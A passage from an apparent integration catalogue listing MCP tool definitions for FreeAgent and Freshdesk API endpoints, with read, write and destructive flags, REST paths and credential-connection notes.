/api/v1/freeagent/v2/invoices/{id}. Scopes: api. freeagent_put_v2_invoices_by_id_transitions_mark_as_cancelled (write) — Mark invoice as cancelled via PUT /v2/invoices/{id}/transitions/mark_as_cancelled PUT /api/v1/freeagent/v2/invoices/{id}/transitions/mark_as_cancelled. Scopes: api. freeagent_put_v2_invoices_by_id_transitions_mark_as_draft (write) — Mark invoice as draft via PUT /v2/invoices/{id}/transitions/mark_as_draft PUT /api/v1/freeagent/v2/invoices/{id}/transitions/mark_as_draft. Scopes: api. freeagent_put_v2_invoices_by_id_transitions_mark_as_scheduled (write) — Mark invoice as scheduled via PUT /v2/invoices/{id}/transitions/mark_as_scheduled PUT /api/v1/freeagent/v2/invoices/{id}/transitions/mark_as_scheduled. Scopes: api. freeagent_put_v2_invoices_by_id_transitions_mark_as_sent (write) — Mark invoice as sent via PUT /v2/invoices/{id}/transitions/mark_as_sent PUT /api/v1/freeagent/v2/invoices/{id}/transitions/mark_as_sent. Scopes: api. freeagent_put_v2_journal_sets_by_id (write) — Update a journal set via PUT /v2/journal_sets/{id} PUT /api/v1/freeagent/v2/journal_sets/{id}. Scopes: api. freeagent_put_v2_notes_by_id (write) — Update a note via PUT /v2/notes/{id} PUT /api/v1/freeagent/v2/notes/{id}. Scopes: api. freeagent_put_v2_projects_by_id (write) — Update project via PUT /v2/projects/{id} PUT /api/v1/freeagent/v2/projects/{id}. Scopes: api. freeagent_put_v2_properties_by_id (write) — Update a property via PUT /v2/properties/{id} PUT /api/v1/freeagent/v2/properties/{id}. Scopes: api. freeagent_put_v2_sales_tax_periods_by_id (write) — Update a sales tax period via PUT /v2/sales_tax_periods/{id} PUT /api/v1/freeagent/v2/sales_tax_periods/{id}. Scopes: api. freeagent_put_v2_tasks_by_id (write) — Update a task via PUT /v2/tasks/{id} PUT /api/v1/freeagent/v2/tasks/{id}. Scopes: api. freeagent_put_v2_timeslips_by_id (write) — Update a timeslip via PUT /v2/timeslips/{id} PUT /api/v1/freeagent/v2/timeslips/{id}. Scopes: api. freeagent_put_v2_users_by_id (write) — Update a user via PUT /v2/users/{id} PUT /api/v1/freeagent/v2/users/{id}. Scopes: api. ================================================================================ ## Freshdesk URL: https://www.agenticfabriq.com/integrations/freshdesk Section: Integrated Tools Freshdesk — 236 MCP tools Provider key: freshdesk. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. freshdesk_delete_admin_groups_id (write, destructive) — Delete a Group via DELETE /api/v2/admin/groups/{id} DELETE /api/v1/freshdesk/api/v2/admin/groups/{id}. Scopes: api. freshdesk_delete_admin_skills_id (write, destructive) — Delete a Skill via DELETE /api/v2/admin/skills/{id}. The reference documents 16 typed fields for this operation which this integration does not model as a schema: agents, condtions, created_at, custom_fields, default, domains, group_id, id, language, match_type, priority, product_id... DELETE /api/v1/freshdesk/api/v2/admin/skills/{id}. Scopes: api. freshdesk_delete_admin_ticket_fields_id (write, destructive) — Delete a Ticket Field via DELETE /api/v2/admin/ticket_fields/{id}. The reference documents 1 typed fields for this operation which this integration does not model as a schema: label DELETE /api/v1/freshdesk/api/v2/admin/ticket_fields/{id}. Scopes: api. freshdesk_delete_admin_ticket_fields_id_sections_section_id (write, destructive) — Delete a section via DELETE /api/v2/admin/ticket_fields/{id}/sections/{section_id} DELETE /api/v1/freshdesk/api/v2/admin/ticket_fields/{id}/sections/{section_id}. Scopes: api. freshdesk_delete_agents_id (write, destructive) — Delete an Agent via DELETE /api/v2/agents/{id} DELETE /api/v1/freshdesk/api/v2/agents/{id}. Scopes: api. freshdesk_delete_attachments_id (write, destructive) — Delete an attachment via DELETE /api/v2/attachments/{id} DELETE /api/v1/freshdesk/api/v2/attachments/{id}. Scopes: api. freshdesk_delete_automations_automation_type_id_rules_id (write, destructive) — Delete an Automation Rule via DELETE /api/v2/automations/{automation_type_id}/rules/{id} DELETE /api/v1/freshdesk/api/v2/automations/{automation_type_id}/rules/{id}. Scopes: api. freshdesk_delete_companies_id (write, destructive) — Delete a Company via DELETE /api/v2/companies/{id} DELETE /api/v1/freshdesk/api/v2/companies/{id}. Scopes: api. freshdesk_delete_contact_field_id (write, destructive) — Delete a contact field via DELETE /api/v2/contact_field/{id}. The reference documents 12 typed fields for this operation which this integration does not model as a schema: available, available_since, created_at, focus_mode, group_ids, id, occasional, role_ids, signature, skill_ids, ticket_scope, updated_at DELETE /api/v1/freshdesk/api/v2/contact_field/{id}. Scopes: api. freshdesk_delete_contacts_id (write, destructive) — Soft Delete a Contact via DELETE /api/v2/contacts/{id} DELETE /api/v1/freshdesk/api/v2/contacts/{id}. Scopes: api. freshdesk_delete_contacts_id_hard_delete (write, destructive) — Permanently Delete a Contact via DELETE /api/v2/contacts/{id}/hard_delete. The reference documents 1 typed fields for this operation which this integration does not model as a schema: force DELETE /api/v1/freshdesk/api/v2/contacts/{id}/hard_delete. Scopes: api. freshdesk_delete_conversations_id (write, destructive) — Delete a conversation via DELETE /api/v2/conversations/{id} DELETE /api/v1/freshdesk/api/v2/conversations/{id}. Scopes: api. freshdesk_delete_custom_objects_schemas_schema_id_records_record_id (write, destructive) — Delete A Record via DELETE /api/v2/custom_objects/schemas/{schema-id}/records/{record-id} DELETE /api/v1/freshdesk/api/v2/custom_objects/schemas/{schema_id}/records/{record_id}. Scopes: api. freshdesk_delete_discussions_categories_id (write, destructive) — Delete a Forum Category via DELETE /api/v2/discussions/categories/{id}. The reference documents 8 typed fields for this operation which this integration does not model as a schema: company_ids, forum_category_id, forum_type, forum_visibility, id, position, posts_count, topics_count DELETE /api/v1/freshdesk/api/v2/discussions/categories/{id}. Scopes: api. freshdesk_delete_discussions_comments_id (write, destructive) — Delete A Comment via DELETE /api/v2/discussions/comments/{id}. The reference documents 4 typed fields for this operation which this integration does not model as a schema: created_at, id, updated_at, visible_in_portals DELETE /api/v1/freshdesk/api/v2/discussions/comments/{id}. Scopes: api. freshdesk_delete_discussions_forums_forum_id_follow (write, destructive) — Unmonitor Forum via DELETE /api/v2/discussions/forums/{forum_id}/follow DELETE /api/v1/freshdesk/api/v2/discussions/forums/{forum_id}/follow. Scopes: api. freshdesk_delete_discussions_forums_id (write, destructive) — Delete a Forum via DELETE /api/v2/discussions/forums/{id} DELETE /api/v1/freshdesk/api/v2/discussions/forums/{id}. Scopes: api. freshdesk_delete_discussions_topics_id (write, destructive) — Delete a Topic via DELETE /api/v2/discussions/topics/{id} DELETE /api/v1/freshdesk/api/v2/discussions/topics/{id}. Scopes: api. freshdesk_delete_discussions_topics_topic_id_follow (write, destructive) — Unmonitor Topic via DELETE /api/v2/discussions/topics/{topic_id}/follow DELETE /api/v1/freshdesk/api/v2/discussions/topics/{topic_id}/follow. Scopes: api. freshdesk_delete_email_mailboxes_id (write, destructive) — Delete an Email Mailbox via DELETE /api/v2/email/mailboxes/{id} DELETE /api/v1/freshdesk/api/v2/email/mailboxes/{id}. Scopes: api. freshdesk_delete_groups_id (write, destructive) — Delete a Group via DELETE /api/v2/groups/{id}. The reference documents 10 typed fields for this operation which this integration does not model as a schema: agent_ids, allow_agents_to_change_availability, automatic_agent_assignment, business_calendar_id, created_at, escalate_to, id, sync_status, unassigned_for, updated_at DELETE /api/v1/freshdesk/api/v2/groups/{id}. Scopes: api. freshdesk_delete_solutions_articles_id (write, destructive) — Delete a Solution Article via DELETE /api/v2/solutions/articles/{id} DELETE /api/v1/freshdesk/api/v2/solutions/articles/{id}. Scopes: api. freshdesk_delete_solutions_categories_id (write, destructive) — Delete a Solution Category via DELETE /api/v2/solutions/categories/{id}. The reference documents 11 typed fields for this operation which this integration does not model as a schema: articles_count, company_ids, company_segment_ids, contact_segment_ids, created_at, hierarchy, id, parent_folder_id, sub_folders_count, updated_at, visibility DELETE /api/v1/freshdesk/api/v2/solutions/categories/{id}. Scopes: api. freshdesk_delete_solutions_folders_id (write, destructive) — Delete a Solution Folder via DELETE /api/v2/solutions/folders/{id}. The reference documents 15 typed fields for this operation which this integration does not model as a schema: agent_id, category_id, created_at, description_text, folder_id, hierarchy, hits, id, seo_data, status, tags, thumbs_down... DELETE /api/v1/freshdesk/api/v2/solutions/folders/{id}. Scopes: api. freshdesk_delete_ticket_forms_form_id_fields_field_id (write, destructive) — Delete a Ticket Form's Field via DELETE /api/v2/ticket-forms/{form_id}/fields/{field_id}. The reference documents 15 typed fields for this operation which this integration does not model as a schema: attachments, body, body_text, created_at, id, incoming, last_edited_at, last_edited_user_id, private, source, support_email, ticket_id... DELETE /api/v1/freshdesk/api/v2/ticket-forms/{form_id}/fields/{field_id}. Scopes: api. freshdesk_delete_ticket_forms_id (write, destructive) — Delete a Ticket Form via DELETE /api/v2/ticket-forms/{id} DELETE /api/v1/freshdesk/api/v2/ticket-forms/{id}. Scopes: api. freshdesk_delete_tickets_archived_id (write, destructive) — Delete an Archive Ticket via DELETE /api/v2/tickets/archived/{id} DELETE /api/v1/freshdesk/api/v2/tickets/archived/{id}. Scopes: api. freshdesk_delete_tickets_id (write, destructive) — Delete a Ticket via DELETE /api/v2/tickets/{id} DELETE /api/v1/freshdesk/api/v2/tickets/{id}. Scopes: api. freshdesk_delete_tickets_id_accesses (write, destructive) — Remove Ticket User Access via DELETE /api/v2/tickets/{id}/accesses. The reference documents 1 typed fields for this operation which this integration does not model as a schema: choices DELETE /api/v1/freshdesk/api/v2/tickets/{id}/accesses. Scopes: api. freshdesk_delete_tickets_id_summary (write, destructive) — Delete Summary via DELETE /api/v2/tickets/{id}/summary DELETE /api/v1/freshdesk/api/v2/tickets/{id}/summary. Scopes: api. freshdesk_delete_time_entries_id (write, destructive) — Delete a Time Entry via DELETE /api/v2/time_entries/{id}. The reference documents 9 typed fields for this operation which this integration does not model as a schema: active, created_at, group_id, id, primary_role, product_id, reply_email, to_email, updated_at DELETE /api/v1/freshdesk/api/v2/time_entries/{id}. Scopes: api. freshdesk_get_account (read) — View Account via GET /api/v2/account. The reference documents 4 typed fields for this operation which this integration does not model as a schema: date_range, include, output_format, resources GET /api/v1/freshdesk/api/v2/account. Scopes: api. freshdesk_get_admin_groups (read) — List All Groups via GET /api/v2/admin/groups GET /api/v1/freshdesk/api/v2/admin/groups. Scopes: api. freshdesk_get_admin_groups_id (read) — View a Group via GET /api/v2/admin/groups/{id} GET /api/v1/freshdesk/api/v2/admin/groups/{id}. Scopes: api. freshdesk_get_admin_groups_id_agents (read) — List All Agents in a Group via GET /api/v2/admin/groups/{id}/agents GET /api/v1/freshdesk/api/v2/admin/groups/{id}/agents. Scopes: api. freshdesk_get_admin_skills (read) — List all Skills via GET /api/v2/admin/skills GET /api/v1/freshdesk/api/v2/admin/skills. Scopes: api. freshdesk_get_admin_skills_id (read) — View a Skill via GET /api/v2/admin/skills/{id} GET /api/v1/freshdesk/api/v2/admin/skills/{id}. Scopes: api. freshdesk_get_admin_ticket_fields (read) — List All Ticket Fields via GET /api/v2/admin/ticket_fields GET /api/v1/freshdesk/api/v2/admin/ticket_fields. Scopes: api. freshdesk_get_admin_ticket_fields_id (read) — View a Ticket Field via GET /api/v2/admin/ticket_fields/{id} GET /api/v1/freshdesk/api/v2/admin/ticket_fields/{id}. Scopes: api. freshdesk_get_admin_ticket_fields_id_sections (read) — List All Sections for a Ticket Field via GET /api/v2/admin/ticket_fields/{id}/sections GET /api/v1/freshdesk/api/v2/admin/ticket_fields/{id}/sections. Scopes: api. freshdesk_get_admin_ticket_fields_id_sections_section_id (read) — List a specific Section details via GET /api/v2/admin/ticket_fields/{id}/sections/{section_id} GET /api/v1/freshdesk/api/v2/admin/ticket_fields/{id}/sections/{section_id}. Scopes: api. freshdesk_get_agents (read) — List All Agents via GET /api/v2/agents GET /api/v1/freshdesk/api/v2/agents. Scopes: api. freshdesk_get_agents_autocomplete (read) — Search Agents via GET /api/v2/agents/autocomplete. The reference documents 3 typed fields for this operation which this integration does not model as a schema: only, page, per_page GET /api/v1/freshdesk/api/v2/agents/autocomplete. Scopes: api. freshdesk_get_agents_id (read) — View an Agent via GET /api/v2/agents/{id} GET /api/v1/freshdesk/api/v2/agents/{id}. Scopes: api. freshdesk_get_agents_id_availability (read) — View Agent Availability via GET /api/v2/agents/{id}/availability GET /api/v1/freshdesk/api/v2/agents/{id}/availability. Scopes: api. freshdesk_get_agents_me (read) — Currently Authenticated Agent via GET /api/v2/agents/me GET /api/v1/freshdesk/api/v2/agents/me. Scopes: api. freshdesk_get_automations_automation_type_id_rules (read) — List All Automation Rules via GET /api/v2/automations/{automation_type_id}/rules GET /api/v1/freshdesk/api/v2/automations/{automation_type_id}/rules. Scopes: api. freshdesk_get_automations_automation_type_id_rules_id (read) — View an Automation Rule via GET /api/v2/automations/{automation_type_id}/rules/{id} GET /api/v1/freshdesk/api/v2/automations/{automation_type_id}/rules/{id}. Scopes: api. freshdesk_get_business_hours (read) — List All Business Hours via GET /api/v2/business_hours. The reference documents 5 typed fields for this operation which this integration does not model as a schema: actions, created_at, id, private, updated_at GET /api/v1/freshdesk/api/v2/business_hours. Scopes: api. freshdesk_get_business_hours_id (read) — View a Business Hour via GET /api/v2/business_hours/{id} GET /api/v1/freshdesk/api/v2/business_hours/{id}. Scopes: api. freshdesk_get_canned_response_folders_id_responses (read) — Get details of Canned Responses in a Folder via GET /api/v2/canned_response_folders/{id}/responses. The reference documents 3 typed fields for this operation which this integration does not model as a schema: created_at, id, updated_at GET /api/v1/freshdesk/api/v2/canned_response_folders/{id}/responses. Scopes: api. freshdesk_get_canned_responses_id (read) — View a Canned Response via GET /api/v2/canned_responses/{id}. The reference documents 6 typed fields for this operation which this integration does not model as a schema: attachments, content_html, folder_id, group_ids, title, visibility GET /api/v1/freshdesk/api/v2/canned_responses/{id}. Scopes: api. freshdesk_get_channels_outbound_messages_message_id (read) — Retrieve Message via GET /api/v2/channels/outbound-messages/{message_id} GET /api/v1/freshdesk/api/v2/channels/outbound-messages/{message_id}. Scopes: api. freshdesk_get_collaboration_messages_id (read) — Get message for thread via GET /api/v2/collaboration/messages/{id} GET /api/v1/freshdesk/api/v2/collaboration/messages/{id}. Scopes: api. freshdesk_get_collaboration_messages_id_generate_quote (read) — Get quoted text for message via GET /api/v2/collaboration/messages/{id}/generate-quote GET /api/v1/freshdesk/api/v2/collaboration/messages/{id}/generate-quote. Scopes: api. freshdesk_get_collaboration_threads_id (read) — Get a thread via GET /api/v2/collaboration/threads/{id}. The reference documents 1 typed fields for this operation which this integration does not model as a schema: body_text GET /api/v1/freshdesk/api/v2/collaboration/threads/{id}. Scopes: api. freshdesk_get_companies (read) — List All Companies via GET /api/v2/companies GET /api/v1/freshdesk/api/v2/companies. Scopes: api. freshdesk_get_companies_autocomplete (read) — Search Companies via GET /api/v2/companies/autocomplete GET /api/v1/freshdesk/api/v2/companies/autocomplete. Scopes: api. freshdesk_get_companies_id (read) — View a Company via GET /api/v2/companies/{id} GET /api/v1/freshdesk/api/v2/companies/{id}. Scopes: api. freshdesk_get_companies_imports (read) — Company Import via GET /api/v2/companies/imports GET /api/v1/freshdesk/api/v2/companies/imports. Scopes: api. freshdesk_get_companies_imports_id (read) — Company Import via GET /api/v2/companies/imports/{id} GET /api/v1/freshdesk/api/v2/companies/imports/{id}. Scopes: api. freshdesk_get_company_fields (read) — List all company fields via GET /api/v2/company_fields GET /api/v1/freshdesk/api/v2/company_fields. Scopes: api. freshdesk_get_company_fields_id (read) — View a company field via GET /api/v2/company_fields/{id}. The reference documents 3 typed fields for this operation which this integration does not model as a schema: label, position, required_for_agents GET /api/v1/freshdesk/api/v2/company_fields/{id}. Scopes: api. freshdesk_get_contact_fields (read) — List all contact fields via GET /api/v2/contact_fields GET /api/v1/freshdesk/api/v2/contact_fields. Scopes: api. freshdesk_get_contact_fields_id (read) — View a contact field via GET /api/v2/contact_fields/{id} GET /api/v1/freshdesk/api/v2/contact_fields/{id}. Scopes: api. freshdesk_get_contacts (read) — List All Contacts via GET /api/v2/contacts GET /api/v1/freshdesk/api/v2/contacts. Scopes: api. freshdesk_get_contacts_autocomplete (read) — Search Contacts via GET /api/v2/contacts/autocomplete GET /api/v1/freshdesk/api/v2/contacts/autocomplete. Scopes: api. freshdesk_get_contacts_id (read) — View a Contact via GET /api/v2/contacts/{id} GET /api/v1/freshdesk/api/v2/contacts/{id}. Scopes: api. freshdesk_get_contacts_imports (read) — Contact Import via GET /api/v2/contacts/imports GET /api/v1/freshdesk/api/v2/contacts/imports. Scopes: api. freshdesk_get_contacts_imports_id (read) — Contact Import via GET /api/v2/contacts/imports/{id} GET /api/v1/freshdesk/api/v2/contacts/imports/{id}. Scopes: api. freshdesk_get_custom_objects_schemas (read) — Retrieve Existing Custom Objects via GET /api/v2/custom_objects/schemas GET /api/v1/freshdesk/api/v2/custom_objects/schemas. Scopes: api. freshdesk_get_custom_objects_schemas_schema_id (read) — Retrieve A Specific Custom Object via GET /api/v2/custom_objects/schemas/{schema-id} GET /api/v1/freshdesk/api/v2/custom_objects/schemas/{schema_id}. Scopes: api. freshdesk_get_custom_objects_schemas_schema_id_records (read) — Retrieve All Records via GET /api/v2/custom_objects/schemas/{schema-id}/records. The reference documents 2 typed fields for this operation which this integration does not model as a schema: _links, page_size GET /api/v1/freshdesk/api/v2/custom_objects/schemas/{schema_id}/records. Scopes: api. freshdesk_get_custom_objects_schemas_schema_id_records_count (read) — Retrieve The Count Of Records via GET /api/v2/custom_objects/schemas/{schema-id}/records/count. The reference documents 7 typed fields for this operation which this integration does not model as a schema: created_at, id, personal, responses_count, sort_by, sort_order, updated_at GET /api/v1/freshdesk/api/v2/custom_objects/schemas/{schema_id}/records/count. Scopes: api. freshdesk_get_custom_objects_schemas_schema_id_records_record_id (read) — Retrieve A Record via GET /api/v2/custom_objects/schemas/{schema-id}/records/{record-id} GET /api/v1/freshdesk/api/v2/custom_objects/schemas/{schema_id}/records/{record_id}. Scopes: api. freshdesk_get_customer_satisfaction_surveys (read) — Surveys via GET /api/v2/customer-satisfaction/surveys GET /api/v1/freshdesk/api/v2/customer-satisfaction/surveys. Scopes: api. freshdesk_get_customer_satisfaction_surveys_survey_id_responses (read) — View all Survey Responses via GET /api/v2/customer-satisfaction/surveys/{survey_id}/responses. The reference documents 7 typed fields for this operation which this integration does not model as a schema: accepted_ratings, created_at, id, label, questions, title, updated_at GET /api/v1/freshdesk/api/v2/customer-satisfaction/surveys/{survey_id}/responses. Scopes: api. freshdesk_get_discussions_categories (read) — List All Forum Categories via GET /api/v2/discussions/categories GET /api/v1/freshdesk/api/v2/discussions/categories. Scopes: api. freshdesk_get_discussions_categories_id (read) — View a Forum Category via GET /api/v2/discussions/categories/{id} GET /api/v1/freshdesk/api/v2/discussions/categories/{id}. Scopes: api. freshdesk_get_discussions_categories_id_forums (read) — List All Forums in a Category via GET /api/v2/discussions/categories/{id}/forums GET /api/v1/freshdesk/api/v2/discussions/categories/{id}/forums. Scopes: api. freshdesk_get_discussions_forums_id (read) — View A Forum via GET /api/v2/discussions/forums/{id} GET /api/v1/freshdesk/api/v2/discussions/forums/{id}. Scopes: api. freshdesk_get_discussions_forums_id_follow (read) — Monitoring Status For Forum via GET /api/v2/discussions/forums/{id}/follow. The reference documents 16 typed fields for this operation which this integration does not model as a schema: created_at, forum_id, hits, id, locked, merged_topic_id, message, posts_count, replied_at, replied_by, stamp_type, sticky... GET /api/v1/freshdesk/api/v2/discussions/forums/{id}/follow. Scopes: api. freshdesk_get_discussions_forums_id_topics (read) — List All Topics in a Forum via GET /api/v2/discussions/forums/{id}/topics GET /api/v1/freshdesk/api/v2/discussions/forums/{id}/topics. Scopes: api. freshdesk_get_discussions_topics_followed_by (read) — List All Monitored Topics via GET /api/v2/discussions/topics/followed_by GET /api/v1/freshdesk/api/v2/discussions/topics/followed_by. Scopes: api. freshdesk_get_discussions_topics_id (read) — View a Topic via GET /api/v2/discussions/topics/{id} GET /api/v1/freshdesk/api/v2/discussions/topics/{id}. Scopes: api. freshdesk_get_discussions_topics_id_comments (read) — List All Comments in a Topic via GET /api/v2/discussions/topics/{id}/comments GET /api/v1/freshdesk/api/v2/discussions/topics/{id}/comments. Scopes: api. freshdesk_get_discussions_topics_id_follow (read) — Monitoring Status For Topic via GET /api/v2/discussions/topics/{id}/follow GET /api/v1/freshdesk/api/v2/discussions/topics/{id}/follow. Scopes: api. freshdesk_get_discussions_topics_participated_by (read) — List All Participated Topics via GET /api/v2/discussions/topics/participated_by. The reference documents 11 typed fields for this operation which this integration does not model as a schema: answer, body, created_at, forum_id, id, published, spam, topic_id, trash, updated_at, user_id GET /api/v1/freshdesk/api/v2/discussions/topics/participated_by. Scopes: api. freshdesk_get_email_configs (read) — List All Email Configs via GET /api/v2/email_configs. The reference documents 23 typed fields for this operation which this integration does not model as a schema: access_type, active, authentication, created_at, custom_mailbox, default_reply_email, delete_from_server, failure_code, forward_email, freshdesk_mailbox, group_id, id... GET /api/v1/freshdesk/api/v2/email_configs. Scopes: api. freshdesk_get_email_configs_id (read) — View an Email Config via GET /api/v2/email_configs/{id} GET /api/v1/freshdesk/api/v2/email_configs/{id}. Scopes: api. freshdesk_get_email_mailboxes (read) — List All Email Mailboxes via GET /api/v2/email/mailboxes GET /api/v1/freshdesk/api/v2/email/mailboxes. Scopes: api. freshdesk_get_email_mailboxes_id (read) — View an Email Mailbox via GET /api/v2/email/mailboxes/{id} GET /api/v1/freshdesk/api/v2/email/mailboxes/{id}. Scopes: api. freshdesk_get_email_settings (read) — View Mailbox Settings via GET /api/v2/email/settings GET /api/v1/freshdesk/api/v2/email/settings. Scopes: api. freshdesk_get_groups (read) — List All Groups via GET /api/v2/groups GET /api/v1/freshdesk/api/v2/groups. Scopes: api. freshdesk_get_groups_id (read) — View a Group via GET /api/v2/groups/{id} GET /api/v1/freshdesk/api/v2/groups/{id}. Scopes: api. freshdesk_get_jobs_id (read) — View a Job via GET /api/v2/jobs/{id}. The reference documents 24 typed fields for this operation which this integration does not model as a schema: active, address, avatar, company_id, contact_type, created_at, custom_fields, deleted, devices, email, id, job_title... GET /api/v1/freshdesk/api/v2/jobs/{id}. Scopes: api. freshdesk_get_notifications_email_bcc (read) — View Automatic Bcc emails via GET /api/v2/notifications/email/bcc. The reference documents 3 typed fields for this operation which this integration does not model as a schema: created_at, id, updated_at GET /api/v1/freshdesk/api/v2/notifications/email/bcc. Scopes: api. freshdesk_get_products (read) — List All Products via GET /api/v2/products. The reference documents 8 typed fields for this operation which this integration does not model as a schema: business_hours, created_at, end_time, id, is_default, start_time, time_zone, updated_at GET /api/v1/freshdesk/api/v2/products. Scopes: api. freshdesk_get_products_id (read) — View a Product via GET /api/v2/products/{id} GET /api/v1/freshdesk/api/v2/products/{id}. Scopes: api. freshdesk_get_roles (read) — List All Roles via GET /api/v2/roles. The reference documents 8 typed fields for this operation which this integration does not model as a schema: agent_ids, auto_ticket_assign, business_hour_id, created_at, escalate_to, id, unassigned_for, updated_at GET /api/v1/freshdesk/api/v2/roles. Scopes: api. freshdesk_get_roles_id (read) — View a Role via GET /api/v2/roles/{id} GET /api/v1/freshdesk/api/v2/roles/{id}. Scopes: api. freshdesk_get_scenario_automations (read) — List All Scenario Automations via GET /api/v2/scenario_automations. The reference documents 21 typed fields for this operation which this integration does not model as a schema: active, agent_ids, applicable_to, business_hours, company_ids, escalation, escalation_enabled, escalation_time, group_ids, id, is_default, position... GET /api/v1/freshdesk/api/v2/scenario_automations. Scopes: api. freshdesk_get_search_companies (read) — Filter CompaniesBETA via GET /api/v2/search/companies. The reference documents 3 typed fields for this operation which this integration does not model as a schema: created_at, domain, updated_at GET /api/v1/freshdesk/api/v2/search/companies. Scopes: api. freshdesk_get_search_contacts (read) — Filter ContactsBETA via GET /api/v2/search/contacts. The reference documents 11 typed fields for this operation which this integration does not model as a schema: active, company_id, created_at, email, language, mobile, phone, tag, time_zone, twitter_id, updated_at GET /api/v1/freshdesk/api/v2/search/contacts. Scopes: api. freshdesk_get_search_solutions (read) — Search solution articles via GET /api/v2/search/solutions GET /api/v1/freshdesk/api/v2/search/solutions. Scopes: api. freshdesk_get_search_tickets (read) — Filter Tickets via GET /api/v2/search/tickets. The reference documents 10 typed fields for this operation which this integration does not model as a schema: agent_id, closed_at, created_at, due_by, fr_due_by, group_id, priority, status, tag, updated_at GET /api/v1/freshdesk/api/v2/search/tickets. Scopes: api. freshdesk_get_settings_helpdesk (read) — View Helpdesk Settings via GET /api/v2/settings/helpdesk. The reference documents 1 typed fields for this operation which this integration does not model as a schema: created_by GET /api/v1/freshdesk/api/v2/settings/helpdesk. Scopes: api. freshdesk_get_skills (read) — List all Skills via GET /api/v2/skills GET /api/v1/freshdesk/api/v2/skills. Scopes: api. freshdesk_get_sla_policies (read) — List All SLA Policies via GET /api/v2/sla_policies GET /api/v1/freshdesk/api/v2/sla_policies. Scopes: api. freshdesk_get_solutions_articles_id (read) — View a Solution Article via GET /api/v2/solutions/articles/{id} GET /api/v1/freshdesk/api/v2/solutions/articles/{id}. Scopes: api. freshdesk_get_solutions_articles_id_language_code (read) — View a Solution Article via GET /api/v2/solutions/articles/{id}/{language_code} GET /api/v1/freshdesk/api/v2/solutions/articles/{id}/{language_code}. Scopes: api. freshdesk_get_solutions_categories (read) — List all Solution Categories via GET /api/v2/solutions/categories GET /api/v1/freshdesk/api/v2/solutions/categories. Scopes: api. freshdesk_get_solutions_categories_category_id_folders (read) — List all Solution Folders in a Category via GET /api/v2/solutions/categories/{category_id}/folders GET /api/v1/freshdesk/api/v2/solutions/categories/{category_id}/folders. Scopes: api. freshdesk_get_solutions_categories_category_id_folders_language_code (read) — List all Solution Folders in a Category via GET /api/v2/solutions/categories/{category_id}/folders/{language_code} GET /api/v1/freshdesk/api/v2/solutions/categories/{category_id}/folders/{language_code}. Scopes: api. freshdesk_get_solutions_categories_id (read) — View a Solution Category via GET /api/v2/solutions/categories/{id} GET /api/v1/freshdesk/api/v2/solutions/categories/{id}. Scopes: api. freshdesk_get_solutions_categories_id_language_code (read) — View a Solution Category via GET /api/v2/solutions/categories/{id}/{language_code} GET /api/v1/freshdesk/api/v2/solutions/categories/{id}/{language_code}. Scopes: api. freshdesk_get_solutions_categories_language_code (read) — List all Solution Categories via GET /api/v2/solutions/categories/{language_code} GET /api/v1/freshdesk/~language_code/api/v2/solutions/categories/{language_code}. Scopes: api. freshdesk_get_solutions_folders_folder_id_subfolders (read) — List all Folders in a Folder via GET /api/v2/solutions/folders/{folder_id}/subfolders GET /api/v1/freshdesk/api/v2/solutions/folders/{folder_id}/subfolders. Scopes: api. freshdesk_get_solutions_folders_folder_id_subfolders_language_code (read) — List all Folders in a Folder via GET /api/v2/solutions/folders/{folder_id}/subfolders/{language_code} GET /api/v1/freshdesk/api/v2/solutions/folders/{folder_id}/subfolders/{language_code}. Scopes: api. freshdesk_get_solutions_folders_id (read) — View a Solution Folder via GET /api/v2/solutions/folders/{id} GET /api/v1/freshdesk/api/v2/solutions/folders/{id}. Scopes: api. freshdesk_get_solutions_folders_id_articles (read) — List all Solution Articles in a Folder via GET /api/v2/solutions/folders/{id}/articles GET /api/v1/freshdesk/api/v2/solutions/folders/{id}/articles. Scopes: api. freshdesk_get_solutions_folders_id_articles_language_code (read) — List all Solution Articles in a Folder via GET /api/v2/solutions/folders/{id}/articles/{language_code} GET /api/v1/freshdesk/api/v2/solutions/folders/{id}/articles/{language_code}. Scopes: api. freshdesk_get_solutions_folders_id_language_code (read) — View a Solution Folder via GET /api/v2/solutions/folders/{id}/{language_code} GET /api/v1/freshdesk/api/v2/solutions/folders/{id}/{language_code}. Scopes: api. freshdesk_get_surveys (read) — List all Surveys via GET /api/v2/surveys. The reference documents 10 typed fields for this operation which this integration does not model as a schema: agent_id, created_at, feedback, group_id, id, questions, survey_id, ticket_id, updated_at, user_id GET /api/v1/freshdesk/api/v2/surveys. Scopes: api. freshdesk_get_surveys_satisfaction_ratings (read) — View all Satisfaction Ratings via GET /api/v2/surveys/satisfaction_ratings. The reference documents 17 typed fields for this operation which this integration does not model as a schema: agent_id, billable, cf_fsm_appointment_end_time, cf_fsm_appointment_start_time, cf_fsm_contact_name, cf_fsm_phone_number, cf_fsm_service_location, created_at, executed_at, id, note, parent_id... GET /api/v1/freshdesk/api/v2/surveys/satisfaction_ratings. Scopes: api. freshdesk_get_ticket_fields (read) — List All Ticket Fields via GET /api/v2/ticket_fields. The reference documents 1 typed fields for this operation which this integration does not model as a schema: choices GET /api/v1/freshdesk/api/v2/ticket_fields. Scopes: api. freshdesk_get_ticket_forms (read) — List All Ticket Forms via GET /api/v2/ticket-forms. The reference documents 1 typed fields for this operation which this integration does not model as a schema: title GET /api/v1/freshdesk/api/v2/ticket-forms. Scopes: api. freshdesk_get_ticket_forms_form_id_fields_field_id (read) — View A Ticket Form's Field via GET /api/v2/ticket-forms/{form_id}/fields/{field_id} GET /api/v1/freshdesk/api/v2/ticket-forms/{form_id}/fields/{field_id}. Scopes: api. freshdesk_get_ticket_forms_id (read) — View a Ticket Form via GET /api/v2/ticket-forms/{id} GET /api/v1/freshdesk/api/v2/ticket-forms/{id}. Scopes: api. freshdesk_get_ticket_forms_id_clone (read) — Clone a Ticket Form via GET /api/v2/ticket-forms/{id}/clone GET /api/v1/freshdesk/api/v2/ticket-forms/{id}/clone. Scopes: api. freshdesk_get_tickets (read) — List All Tickets via GET /api/v2/tickets GET /api/v1/freshdesk/api/v2/tickets. Scopes: api. freshdesk_get_tickets_archived_id (read) — View 